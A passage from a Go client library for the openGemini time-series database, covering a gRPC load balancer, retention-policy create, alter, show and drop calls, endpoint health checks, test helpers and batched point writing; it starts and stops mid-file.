"github.com/sourgoodie/opengemini-client-go/proto" 31 | ) 32 | 33 | type grpcEndpoint struct { 34 | address string 35 | conn *grpc.ClientConn 36 | client proto.WriteServiceClient 37 | mu sync.RWMutex 38 | } 39 | 40 | func (e *grpcEndpoint) isHealthy() bool { 41 | e.mu.RLock() 42 | defer e.mu.RUnlock() 43 | return e.conn.GetState() == connectivity.Ready 44 | } 45 | 46 | type grpcLoadBalance struct { 47 | endpoints []*grpcEndpoint 48 | current atomic.Int32 49 | stopChan chan struct{} 50 | } 51 | 52 | func newRPCLoadBalance(cfg *GrpcConfig) (*grpcLoadBalance, error) { 53 | var dialOptions = []grpc.DialOption{ 54 | grpc.WithKeepaliveParams(keepalive.ClientParameters{ 55 | Time: 10 * time.Second, 56 | Timeout: 3 * time.Second, 57 | PermitWithoutStream: true, 58 | }), 59 | // https://github.com/grpc/grpc/blob/master/doc/connection-backoff.md 60 | grpc.WithConnectParams(grpc.ConnectParams{ 61 | Backoff: backoff.Config{ 62 | BaseDelay: time.Second, 63 | Multiplier: 1.6, 64 | Jitter: 0.2, 65 | MaxDelay: time.Second * 30, 66 | }, 67 | MinConnectTimeout: time.Second * 20, 68 | }), 69 | grpc.WithInitialWindowSize(1 << 24), // 16MB 70 | grpc.WithInitialConnWindowSize(1 << 24), // 16MB 71 | grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(64 * 1024 * 1024)), // 64MB 72 | grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(64 * 1024 * 1024)), // 64MB 73 | } 74 | 75 | if cfg.TlsConfig == nil { 76 | dialOptions = append(dialOptions, grpc.WithTransportCredentials(insecure.NewCredentials())) 77 | } else { 78 | cred := credentials.NewTLS(cfg.TlsConfig) 79 | dialOptions = append(dialOptions, grpc.WithTransportCredentials(cred)) 80 | } 81 | 82 | lb := &grpcLoadBalance{ 83 | stopChan: make(chan struct{}), 84 | } 85 | 86 | for _, address := range cfg.Addresses { 87 | addr := address.String() 88 | conn, err := grpc.NewClient(addr, dialOptions...) 89 | if err != nil { 90 | _ = lb.Close() 91 | return nil, fmt.Errorf("connect to %s failed: %v", addr, err) 92 | } 93 | ep := &grpcEndpoint{ 94 | address: addr, 95 | conn: conn, 96 | client: proto.NewWriteServiceClient(conn), 97 | } 98 | lb.endpoints = append(lb.endpoints, ep) 99 | } 100 | 101 | return lb, nil 102 | } 103 | 104 | // getClient use polling to return the next available client 105 | func (r *grpcLoadBalance) getClient() proto.WriteServiceClient { 106 | attempts := len(r.endpoints) 107 | for i := 0; i < attempts; i++ { 108 | current := r.current.Add(1) 109 | idx := int(current) % len(r.endpoints) 110 | ep := r.endpoints[idx] 111 | 112 | if ep.isHealthy() { 113 | return ep.client 114 | } 115 | } 116 | 117 | // no healthy endpoint, return random endpoint 118 | return r.endpoints[random.Intn(attempts)].client 119 | } 120 | 121 | // Close all endpoint 122 | func (r *grpcLoadBalance) Close() error { 123 | close(r.stopChan) 124 | var lastErr error 125 | for _, ep := range r.endpoints { 126 | if err := ep.conn.Close(); err != nil { 127 | lastErr = err 128 | } 129 | } 130 | return lastErr 131 | } 132 | -------------------------------------------------------------------------------- /opengemini/retention_policy.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "strings" 21 | ) 22 | 23 | // RetentionPolicy defines the structure for retention policy info 24 | type RetentionPolicy struct { 25 | Name string 26 | Duration string 27 | ShardGroupDuration string 28 | HotDuration string 29 | WarmDuration string 30 | IndexDuration string 31 | ReplicaNum int64 32 | IsDefault bool 33 | } 34 | 35 | func (rp *RetentionPolicy) SetName(value SeriesValue) error { 36 | name, ok := value[0].(string) 37 | if !ok { 38 | return fmt.Errorf("set RetentionPolicy name: name must be a string") 39 | } 40 | rp.Name = name 41 | return nil 42 | } 43 | 44 | func (rp *RetentionPolicy) SetDuration(value SeriesValue) error { 45 | duration, ok := value[1].(string) 46 | if !ok { 47 | return fmt.Errorf("set RetentionPolicy duration: duration must be a string") 48 | } 49 | rp.Duration = duration 50 | return nil 51 | } 52 | 53 | func (rp *RetentionPolicy) SetShardGroupDuration(value SeriesValue) error { 54 | sgDuration, ok := value[2].(string) 55 | if !ok { 56 | return fmt.Errorf("set RetentionPolicy shardGroupDuration: shardGroupDuration must be a string") 57 | } 58 | rp.ShardGroupDuration = sgDuration 59 | return nil 60 | } 61 | 62 | func (rp *RetentionPolicy) SetHotDuration(value SeriesValue) error { 63 | hDuration, ok := value[3].(string) 64 | if !ok { 65 | return fmt.Errorf("set RetentionPolicy hotDuration: hotDuration must be a string") 66 | } 67 | rp.HotDuration = hDuration 68 | return nil 69 | } 70 | 71 | func (rp *RetentionPolicy) SetWarmDuration(value SeriesValue) error { 72 | wDuration, ok := value[4].(string) 73 | if !ok { 74 | return fmt.Errorf("set RetentionPolicy warmDuration: warmDuration must be a string") 75 | } 76 | rp.WarmDuration = wDuration 77 | return nil 78 | } 79 | 80 | func (rp *RetentionPolicy) SetIndexDuration(value SeriesValue) error { 81 | iDuration, ok := value[5].(string) 82 | if !ok { 83 | return fmt.Errorf("set RetentionPolicy indexDuration: indexDuration must be a string") 84 | } 85 | rp.IndexDuration = iDuration 86 | return nil 87 | } 88 | 89 | func (rp *RetentionPolicy) SetReplicaNum(value SeriesValue) error { 90 | replicaNum, ok := value[6].(float64) 91 | if !ok { 92 | return fmt.Errorf("set RetentionPolicy replicaNum: replicaNum must be a float64") 93 | } 94 | rp.ReplicaNum = int64(replicaNum) 95 | return nil 96 | } 97 | 98 | func (rp *RetentionPolicy) SetDefault(value SeriesValue) error { 99 | isDefault, ok := value[7].(bool) 100 | if !ok { 101 | return fmt.Errorf("set RetentionPolicy isDefault: isDefault must be a bool") 102 | } 103 | rp.IsDefault = isDefault 104 | return nil 105 | } 106 | 107 | func NewRetentionPolicy(value SeriesValue) *RetentionPolicy { 108 | rp := &RetentionPolicy{} 109 | if !errors.Is(rp.SetName(value), nil) || 110 | !errors.Is(rp.SetDuration(value), nil) || 111 | !errors.Is(rp.SetShardGroupDuration(value), nil) || 112 | !errors.Is(rp.SetHotDuration(value), nil) || 113 | !errors.Is(rp.SetWarmDuration(value), nil) || 114 | !errors.Is(rp.SetIndexDuration(value), nil) || 115 | !errors.Is(rp.SetReplicaNum(value), nil) || 116 | !errors.Is(rp.SetDefault(value), nil) { 117 | return nil 118 | } 119 | return rp 120 | } 121 | 122 | // CreateRetentionPolicy Create retention policy 123 | func (c *client) CreateRetentionPolicy(database string, rpConfig RpConfig, isDefault bool) error { 124 | err := checkDatabaseAndPolicy(database, rpConfig.Name) 125 | if err != nil { 126 | return err 127 | } 128 | 129 | var buf strings.Builder 130 | buf.WriteString(fmt.Sprintf("CREATE RETENTION POLICY %s ON \"%s\" DURATION %s REPLICATION 1", rpConfig.Name, database, rpConfig.Duration)) 131 | if len(rpConfig.ShardGroupDuration) > 0 { 132 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration)) 133 | } 134 | if len(rpConfig.IndexDuration) > 0 { 135 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration)) 136 | } 137 | if isDefault { 138 | buf.WriteString(" DEFAULT") 139 | } 140 | 141 | queryResult, err := c.queryPost(Query{Command: buf.String()}) 142 | if err != nil { 143 | return err 144 | } 145 | 146 | err = queryResult.hasError() 147 | if err != nil { 148 | return fmt.Errorf("create retention policy %w", err) 149 | } 150 | 151 | return nil 152 | } 153 | 154 | func (c *client) UpdateRetentionPolicy(database string, rpConfig RpConfig, isDefault bool) error { 155 | err := checkDatabaseAndPolicy(database, rpConfig.Name) 156 | if err != nil { 157 | return err 158 | } 159 | 160 | var buf strings.Builder 161 | buf.WriteString(fmt.Sprintf("ALTER RETENTION POLICY %s ON \"%s\" ", rpConfig.Name, database)) 162 | if len(rpConfig.Duration) > 0 { 163 | buf.WriteString(fmt.Sprintf(" DURATION %s", rpConfig.Duration)) 164 | } 165 | if len(rpConfig.IndexDuration) > 0 { 166 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration)) 167 | } 168 | if len(rpConfig.ShardGroupDuration) > 0 { 169 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration)) 170 | } 171 | if isDefault { 172 | buf.WriteString(" DEFAULT") 173 | } 174 | 175 | queryResult, err := c.queryPost(Query{Command: buf.String()}) 176 | if err != nil { 177 | return err 178 | } 179 | 180 | err = queryResult.hasError() 181 | if err != nil { 182 | return fmt.Errorf("update retention policy %w", err) 183 | } 184 | 185 | return nil 186 | } 187 | 188 | // ShowRetentionPolicies Show retention policy 189 | func (c *client) ShowRetentionPolicies(database string) ([]RetentionPolicy, error) { 190 | err := checkDatabaseName(database) 191 | if err != nil { 192 | return nil, err 193 | } 194 | 195 | var ( 196 | ShowRetentionPolicy = "SHOW RETENTION POLICIES" 197 | rpResult []RetentionPolicy 198 | ) 199 | 200 | queryResult, err := c.Query(Query{Database: database, Command: ShowRetentionPolicy}) 201 | if err != nil { 202 | return nil, err 203 | } 204 | 205 | err = queryResult.hasError() 206 | if err != nil { 207 | return rpResult, fmt.Errorf("show retention policy err: %s", err) 208 | } 209 | 210 | rpResult = queryResult.convertRetentionPolicyList() 211 | return rpResult, nil 212 | } 213 | 214 | // DropRetentionPolicy Drop retention policy 215 | func (c *client) DropRetentionPolicy(database, retentionPolicy string) error { 216 | err := checkDatabaseAndPolicy(database, retentionPolicy) 217 | if err != nil { 218 | return err 219 | } 220 | 221 | cmd := fmt.Sprintf("DROP RETENTION POLICY %s ON \"%s\"", retentionPolicy, database) 222 | queryResult, err := c.queryPost(Query{Command: cmd}) 223 | if err != nil { 224 | return err 225 | } 226 | err = queryResult.hasError() 227 | if err != nil { 228 | return fmt.Errorf("drop retention policy %w", err) 229 | } 230 | return nil 231 | } 232 | -------------------------------------------------------------------------------- /opengemini/retention_policy_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/require" 21 | ) 22 | 23 | func TestClientCreateRetentionPolicy(t *testing.T) { 24 | c := testDefaultClient(t) 25 | databaseName := randomDatabaseName() 26 | err := c.CreateDatabase(databaseName) 27 | require.Nil(t, err) 28 | retentionPolicyTest1 := randomRetentionPolicy() 29 | retentionPolicyTest2 := randomRetentionPolicy() 30 | retentionPolicyTest3 := randomRetentionPolicy() 31 | retentionPolicyTest4 := randomRetentionPolicy() 32 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest1, Duration: "3d"}, false) 33 | require.Nil(t, err) 34 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest2, Duration: "3d", ShardGroupDuration: "1h"}, false) 35 | require.Nil(t, err) 36 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest3, Duration: "3d", ShardGroupDuration: "1h", IndexDuration: "7h"}, false) 37 | require.Nil(t, err) 38 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest4, Duration: "3d"}, true) 39 | require.Nil(t, err) 40 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest1) 41 | require.Nil(t, err) 42 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest2) 43 | require.Nil(t, err) 44 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest3) 45 | require.Nil(t, err) 46 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest4) 47 | require.Nil(t, err) 48 | err = c.DropDatabase(databaseName) 49 | require.Nil(t, err) 50 | } 51 | 52 | func TestClientCreateRetentionPolicyNotExistDatabase(t *testing.T) { 53 | c := testDefaultClient(t) 54 | databaseName := randomDatabaseName() 55 | retentionPolicy := randomRetentionPolicy() 56 | err := c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicy, Duration: "3d"}, false) 57 | require.NotNil(t, err) 58 | err = c.DropDatabase(databaseName) 59 | require.Nil(t, err) 60 | } 61 | 62 | func TestClientCreateRetentionPolicyEmptyDatabase(t *testing.T) { 63 | c := testDefaultClient(t) 64 | retentionPolicy := randomRetentionPolicy() 65 | err := c.CreateRetentionPolicy("", RpConfig{Name: retentionPolicy, Duration: "3d"}, false) 66 | require.NotNil(t, err) 67 | } 68 | 69 | func TestClientDropRetentionPolicy(t *testing.T) { 70 | c := testDefaultClient(t) 71 | databaseName := randomDatabaseName() 72 | retentionPolicy := randomRetentionPolicy() 73 | err := c.CreateDatabase(databaseName) 74 | require.Nil(t, err) 75 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicy, Duration: "3d"}, false) 76 | require.Nil(t, err) 77 | err = c.DropRetentionPolicy(databaseName, retentionPolicy) 78 | require.Nil(t, err) 79 | } 80 | 81 | func TestClientShowRetentionPolicy(t *testing.T) { 82 | c := testDefaultClient(t) 83 | databaseName := randomDatabaseName() 84 | err := c.CreateDatabase(databaseName) 85 | require.Nil(t, err) 86 | rpResult, err := c.ShowRetentionPolicies(databaseName) 87 | require.Nil(t, err) 88 | require.NotEqual(t, len(rpResult), 0) 89 | err = c.DropDatabase(databaseName) 90 | require.Nil(t, err) 91 | } 92 | 93 | func TestClientUpdateRetentionPolicy(t *testing.T) { 94 | c := testDefaultClient(t) 95 | databaseName := randomDatabaseName() 96 | err := c.CreateDatabase(databaseName) 97 | require.Nil(t, err) 98 | 99 | err = c.UpdateRetentionPolicy(databaseName, RpConfig{Name: "autogen", Duration: "300d"}, true) 100 | require.Nil(t, err) 101 | rpResult, err := c.ShowRetentionPolicies(databaseName) 102 | require.Nil(t, err) 103 | require.Equal(t, len(rpResult), 1) 104 | require.Equal(t, rpResult[0].Name, "autogen") 105 | require.Equal(t, rpResult[0].Duration, "7200h0m0s") 106 | 107 | err = c.UpdateRetentionPolicy(databaseName, RpConfig{Name: "autogen", Duration: "300d", ShardGroupDuration: "2h", IndexDuration: "4h"}, true) 108 | require.Nil(t, err) 109 | rpResult, err = c.ShowRetentionPolicies(databaseName) 110 | require.Nil(t, err) 111 | require.Equal(t, len(rpResult), 1) 112 | require.Equal(t, rpResult[0].Name, "autogen") 113 | require.Equal(t, rpResult[0].Duration, "7200h0m0s") 114 | require.Equal(t, rpResult[0].IndexDuration, "4h0m0s") 115 | require.Equal(t, rpResult[0].ShardGroupDuration, "2h0m0s") 116 | 117 | err = c.DropDatabase(databaseName) 118 | require.Nil(t, err) 119 | } 120 | -------------------------------------------------------------------------------- /opengemini/series.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | type SeriesValue []interface{} 18 | 19 | type SeriesValues []SeriesValue 20 | 21 | // Series defines the structure for series data 22 | type Series struct { 23 | Name string `json:"name,omitempty" msgpack:"name,omitempty"` 24 | Tags map[string]string `json:"tags,omitempty" msgpack:"tags,omitempty"` 25 | Columns []string `json:"columns,omitempty" msgpack:"columns,omitempty"` 26 | Values SeriesValues `json:"values,omitempty" msgpack:"values,omitempty"` 27 | } 28 | -------------------------------------------------------------------------------- /opengemini/servers_check.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "sync" 20 | "time" 21 | ) 22 | 23 | const ( 24 | healthCheckPeriod = time.Second * 10 25 | ) 26 | 27 | func (c *client) endpointsCheck(ctx context.Context) { 28 | var t = time.NewTicker(healthCheckPeriod) 29 | for { 30 | select { 31 | case <-ctx.Done(): 32 | t.Stop() 33 | return 34 | case <-t.C: 35 | c.checkUpOrDown(ctx) 36 | } 37 | } 38 | } 39 | 40 | func (c *client) checkUpOrDown(ctx context.Context) { 41 | wg := &sync.WaitGroup{} 42 | for i := 0; i < len(c.endpoints); i++ { 43 | wg.Add(1) 44 | go func(idx int) { 45 | defer func() { 46 | wg.Done() 47 | if err := recover(); err != nil { 48 | c.logger.Error("panic recovered during endpoint check", "index", idx, "error", err) 49 | return 50 | } 51 | }() 52 | err := c.ping(ctx, idx) 53 | if err != nil { 54 | c.logger.Error("ping failed", "index", idx, "error", err) 55 | } else { 56 | c.logger.Info("ping succeeded", "index", idx) 57 | } 58 | c.endpoints[idx].isDown.Store(err != nil) 59 | }(i) 60 | } 61 | wg.Wait() 62 | } 63 | 64 | // getServerUrl if all servers down, return error 65 | func (c *client) getServerUrl() string { 66 | serverLen := len(c.endpoints) 67 | for i := serverLen; i > 0; i-- { 68 | idx := uint32(c.prevIdx.Add(1)) % uint32(serverLen) 69 | if c.endpoints[idx].isDown.Load() { 70 | continue 71 | } 72 | return c.endpoints[idx].url 73 | } 74 | c.logger.Error("all servers down, no endpoints found") 75 | return c.endpoints[random.Intn(serverLen)].url 76 | } 77 | -------------------------------------------------------------------------------- /opengemini/servers_check_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "errors" 20 | "fmt" 21 | "log" 22 | "log/slog" 23 | "net" 24 | "net/http" 25 | "strconv" 26 | "sync/atomic" 27 | "testing" 28 | "time" 29 | 30 | "github.com/stretchr/testify/assert" 31 | ) 32 | 33 | func setHandleFunc() { 34 | http.HandleFunc("/ping", func(writer http.ResponseWriter, request *http.Request) { 35 | writer.WriteHeader(204) 36 | }) 37 | } 38 | 39 | func startServer() (int, *http.Server, error) { 40 | ln, err := net.Listen("tcp", ":0") 41 | if err != nil { 42 | return 0, nil, err 43 | } 44 | 45 | server := &http.Server{Handler: http.DefaultServeMux} 46 | go func() { 47 | if err := server.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) { 48 | log.Printf("Error serving requests: %v", err) 49 | } 50 | }() 51 | 52 | addr, ok := ln.Addr().(*net.TCPAddr) 53 | if !ok { 54 | _ = server.Close() 55 | return 0, nil, fmt.Errorf("failed to get listen port") 56 | } 57 | return addr.Port, server, nil 58 | } 59 | 60 | func TestServerCheck(t *testing.T) { 61 | setHandleFunc() 62 | port1, server1, err := startServer() 63 | assert.NoError(t, err) 64 | port2, server2, err := startServer() 65 | assert.NoError(t, err) 66 | cli := &client{ 67 | config: &Config{}, 68 | endpoints: []endpoint{ 69 | {url: "http://localhost:" + strconv.Itoa(port1)}, 70 | {url: "http://localhost:" + strconv.Itoa(port2)}, 71 | }, 72 | cli: &http.Client{ 73 | Transport: &http.Transport{ 74 | DialContext: (&net.Dialer{ 75 | Timeout: time.Second * 3, 76 | }).DialContext, 77 | }, 78 | }, 79 | prevIdx: atomic.Int32{}, 80 | logger: slog.Default(), 81 | } 82 | cli.prevIdx.Store(-1) 83 | var ctx context.Context 84 | ctx, cli.batchContextCancel = context.WithCancel(context.Background()) 85 | go cli.endpointsCheck(ctx) 86 | 87 | url := cli.getServerUrl() 88 | assert.Equal(t, cli.endpoints[0].url, url) 89 | 90 | url = cli.getServerUrl() 91 | assert.Equal(t, cli.endpoints[1].url, url) 92 | 93 | err = server1.Close() 94 | assert.NoError(t, err) 95 | 96 | time.Sleep(time.Second * 15) 97 | url = cli.getServerUrl() 98 | assert.Equal(t, cli.endpoints[1].url, url) 99 | 100 | err = server2.Close() 101 | assert.NoError(t, err) 102 | 103 | err = cli.Close() 104 | assert.NoError(t, err) 105 | } 106 | -------------------------------------------------------------------------------- /opengemini/test_util.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/libgox/unicodex/letter" 21 | "github.com/stretchr/testify/require" 22 | ) 23 | 24 | func testDefaultClient(t *testing.T) Client { 25 | return testNewClient(t, &Config{ 26 | Addresses: []Address{{ 27 | Host: "localhost", 28 | Port: 8086, 29 | }}, 30 | }) 31 | } 32 | 33 | func testNewClient(t *testing.T, config *Config) Client { 34 | client, err := newClient(config) 35 | require.Nil(t, err) 36 | require.NotNil(t, client) 37 | return client 38 | } 39 | 40 | func randomDatabaseName() string { 41 | return letter.RandEnglish(8) 42 | } 43 | 44 | func randomRetentionPolicy() string { 45 | return letter.RandEnglish(8) 46 | } 47 | 48 | func randomMeasurement() string { 49 | return letter.RandEnglish(8) 50 | } 51 | -------------------------------------------------------------------------------- /opengemini/url_const.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import "net/http" 18 | 19 | const ( 20 | UrlPing = "/ping" 21 | UrlQuery = "/query" 22 | UrlStatus = "/status" 23 | UrlWrite = "/write" 24 | ) 25 | 26 | var noAuthRequired = map[string]map[string]struct{}{ 27 | UrlPing: { 28 | http.MethodHead: {}, 29 | http.MethodGet: {}, 30 | }, 31 | UrlQuery: { 32 | http.MethodOptions: {}, 33 | }, 34 | UrlStatus: { 35 | http.MethodHead: {}, 36 | http.MethodGet: {}, 37 | }, 38 | } 39 | -------------------------------------------------------------------------------- /opengemini/write.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "bytes" 19 | "compress/gzip" 20 | "context" 21 | "errors" 22 | "fmt" 23 | "io" 24 | "net/http" 25 | "net/url" 26 | "time" 27 | ) 28 | 29 | type WriteCallback func(error) 30 | 31 | type sendBatchWithCB struct { 32 | point *Point 33 | callback WriteCallback 34 | } 35 | 36 | type dbRp struct { 37 | db string 38 | rp string 39 | } 40 | 41 | // CallbackDummy if user don't want to handle WritePoint error, could use this function as empty callback 42 | // 43 | //goland:noinspection GoUnusedExportedFunction 44 | func CallbackDummy(_ error) { 45 | // Do nothing 46 | } 47 | 48 | func (c *client) WritePoint(database string, point *Point, callback WriteCallback) error { 49 | return c.WritePointWithRp(database, "", point, callback) 50 | } 51 | 52 | func (c *client) WriteBatchPoints(ctx context.Context, database string, bp []*Point) error { 53 | return c.WriteBatchPointsWithRp(ctx, database, "", bp) 54 | } 55 | 56 | func (c *client) WritePointWithRp(database string, rp string, point *Point, callback WriteCallback) error { 57 | if c.config.BatchConfig != nil { 58 | select { 59 | case <-c.batchContext.Done(): 60 | return c.batchContext.Err() 61 | default: 62 | key := dbRp{db: database, rp: rp} 63 | value, ok := c.dataChanMap.Load(key) 64 | if !ok { 65 | newCollection := make(chan *sendBatchWithCB, c.config.BatchConfig.BatchSize*2) 66 | actual, loaded := c.dataChanMap.LoadOrStore(key, newCollection) 67 | if loaded { 68 | close(newCollection) 69 | } else { 70 | go c.internalBatchSend(c.batchContext, database, rp, actual) 71 | } 72 | value = actual 73 | } 74 | value <- &sendBatchWithCB{ 75 | point: point, 76 | callback: callback, 77 | } 78 | } 79 | return nil 80 | } 81 | 82 | buffer, err := c.encodePoint(point) 83 | if err != nil { 84 | return err 85 | } 86 | 87 | return c.writeBytesBuffer(c.batchContext, database, rp, buffer) 88 | } 89 | 90 | func (c *client) WriteBatchPointsWithRp(ctx context.Context, database string, rp string, bp []*Point) error { 91 | if len(bp) == 0 { 92 | return nil 93 | } 94 | 95 | buffer, err := c.encodeBatchPoints(bp) 96 | if err != nil { 97 | return err 98 | } 99 | 100 | return c.writeBytesBuffer(ctx, database, rp, buffer) 101 | } 102 | 103 | func (c *client) encodePoint(point *Point) (*bytes.Buffer, error) { 104 | var buffer bytes.Buffer 105 | writer := c.newWriter(&buffer) 106 | 107 | enc := NewLineProtocolEncoder(writer) 108 | if err := enc.Encode(point); err != nil { 109 | return nil, errors.New("encode failed, error: " + err.Error()) 110 | } 111 | 112 | return &buffer, nil 113 | } 114 | 115 | func (c *client) encodeBatchPoints(bp []*Point) (*bytes.Buffer, error) { 116 | var buffer bytes.Buffer 117 | writer := c.newWriter(&buffer) 118 | 119 | enc := NewLineProtocolEncoder(writer) 120 | if err := enc.BatchEncode(bp); err != nil { 121 | return nil, errors.New("batchEncode failed, error: " + err.Error()) 122 | } 123 | 124 | return &buffer, nil 125 | } 126 | 127 | func (c *client) writeBytesBuffer(ctx context.Context, database string, rp string, buffer *bytes.Buffer) error { 128 | resp, err := c.innerWrite(ctx, database, rp, buffer) 129 | if err != nil { 130 | return errors.New("innerWrite request failed, error: " + err.Error()) 131 | } 132 | 133 | defer resp.Body.Close() 134 | if resp.StatusCode != http.StatusNoContent { 135 | errorBody, err := io.ReadAll(resp.Body) 136 | if err != nil { 137 | return errors.New("writeBatchPoint read resp body failed, error: " + err.Error()) 138 | } 139 | return errors.New("writeBatchPoint error resp, code: " + resp.Status + "body: " + string(errorBody)) 140 | } 141 | return nil 142 | } 143 | 144 | func (c *client) internalBatchSend(ctx context.Context, database string, rp string, resource <-chan *sendBatchWithCB) { 145 | var tickInterval = c.config.BatchConfig.BatchInterval 146 | var ticker = time.NewTicker(tickInterval) 147 | var points = make([]*Point, 0, c.config.BatchConfig.BatchSize) 148 | var cbs []WriteCallback 149 | needFlush := false 150 | for { 151 | select { 152 | case <-ctx.Done(): 153 | ticker.Stop() 154 | for record := range resource { 155 | record.callback(fmt.Errorf("send batch context cancelled")) 156 | } 157 | return 158 | case <-ticker.C: 159 | needFlush = true 160 | case record := <-resource: 161 | points = append(points, record.point) 162 | cbs = append(cbs, record.callback) 163 | } 164 | if len(points) >= c.config.BatchConfig.BatchSize || needFlush { 165 | err := c.WriteBatchPointsWithRp(ctx, database, rp, points) 166 | for _, callback := range cbs { 167 | callback(err) 168 | } 169 | needFlush = false 170 | ticker.Reset(tickInterval) 171 | points = points[:0] 172 | cbs = cbs[:0] 173 | } 174 | } 175 | } 176 | 177 | func (c *client) newWriter(buffer *bytes.Buffer) io.Writer { 178 | if c.config.CompressMethod == CompressMethodGzip { 179 | return gzip.NewWriter(buffer) 180 | } else { 181 | return buffer 182 | } 183 | } 184 | 185 | func (c *client) innerWrite(ctx context.Context, database string, rp string, buffer *bytes.Buffer) (*http.Response, error) { 186 | req := requestDetails{ 187 | queryValues: make(url.Values), 188 | body: buffer, 189 | } 190 | if c.config.CompressMethod == CompressMethodGzip { 191 | req.header = 